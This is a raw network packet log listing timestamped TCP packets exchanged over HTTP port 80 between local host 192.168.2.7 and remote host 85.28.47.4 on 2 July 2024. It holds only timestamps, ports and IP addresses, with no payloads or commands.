Jul 2, 2024 12:20:58.569293976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569325924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569971085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569989920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570000887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570007086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570041895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570086956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570096970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570122957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570151091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570153952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570164919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570185900 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570199013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570236921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570247889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570257902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570267916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570270061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570283890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570298910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570364952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570399046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570410967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570427895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570441008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570453882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570466995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570468903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570502043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570511103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570516109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570527077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570550919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570561886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570616961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570626974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570647955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570662975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570700884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570735931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570741892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570751905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570774078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570795059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570866108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570877075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570887089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570898056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.570903063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.570931911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571003914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571014881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571024895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571038961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571052074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571197987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571208954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571218967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571233988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571261883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571310043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571321011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571331978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571341991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571345091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571358919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571388006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571492910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571501970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571516037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571528912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571535110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571538925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571562052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571583986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571742058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571752071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571762085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571782112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571809053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571904898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571914911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571924925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571935892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571942091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571945906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.571969986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.571985960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645138979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645179033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645190001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645199060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645241022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645241976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645251036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645262957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645275116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645281076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645309925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645385981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645401955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645412922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645422935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645427942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645433903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645452023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645481110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645626068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645637035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645648003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645658970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645663977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645668983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645679951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645682096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645694971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645706892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645709038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645716906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.645729065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.645752907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.650723934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650747061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650758982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650778055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650784969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.650789022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650799036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650805950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.650811911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650831938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.650856972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.650969982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650980949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.650990963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651002884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651012897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651015043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651024103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651038885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651062012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651190042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651201010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651211023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651221991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651227951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651232004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651242971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651272058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651423931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651463032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651463985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651473045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651494980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651514053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651606083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651617050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651627064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651637077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651639938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651669025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651695013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651731014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651734114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651746035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651772976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651808977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651818991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651840925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651868105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651937008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651947975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651958942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651968956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651974916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.651978970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.651983976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.652004957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.652026892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659379959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659413099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659424067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659462929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659486055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659487009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659497023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659508944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659518957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659522057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659543991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659570932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659718037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659758091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659771919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659782887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659810066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659818888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659883022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659894943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659905910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659917116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.659924030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659935951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.659960985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660043001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660053968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660063982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660073996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660078049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660100937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660123110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660229921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660239935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660249949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660260916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660265923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660271883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660281897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660293102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660299063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660319090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660332918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660461903 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660497904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660521984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660531998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660561085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660573959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660605907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660615921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660629988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660640001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660644054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660655022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660675049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660710096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660751104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660765886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660777092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660788059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660794973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660815954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660830021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660907984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660918951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660928965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660939932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.660947084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660959959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.660989046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661078930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661115885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661118031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661128998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661155939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661163092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661236048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661251068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661262035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661271095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661273003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.661286116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.661304951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.662079096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662091017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662101984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662117958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662120104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.662128925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662138939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662148952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.662151098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662162066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.662169933 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.662192106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.662213087 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734133959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734155893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734167099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734235048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734252930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734252930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734263897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734275103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734285116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734308004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734324932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734358072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734390974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734431028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734441996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734453917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734463930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734464884 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734478951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734488010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734505892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734529972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734544992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734555960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734575987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734585047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734590054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734595060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734616041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734632969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734694004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734704971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734715939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734725952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734728098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734736919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.734741926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734759092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.734786034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740187883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740206003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740216970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740262032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740272999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740283012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740293980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740406990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740417004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740427017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740437031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740447044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740673065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740778923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740789890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740802050 CEST	80	49699	85.28.47.4	192.168.2.7
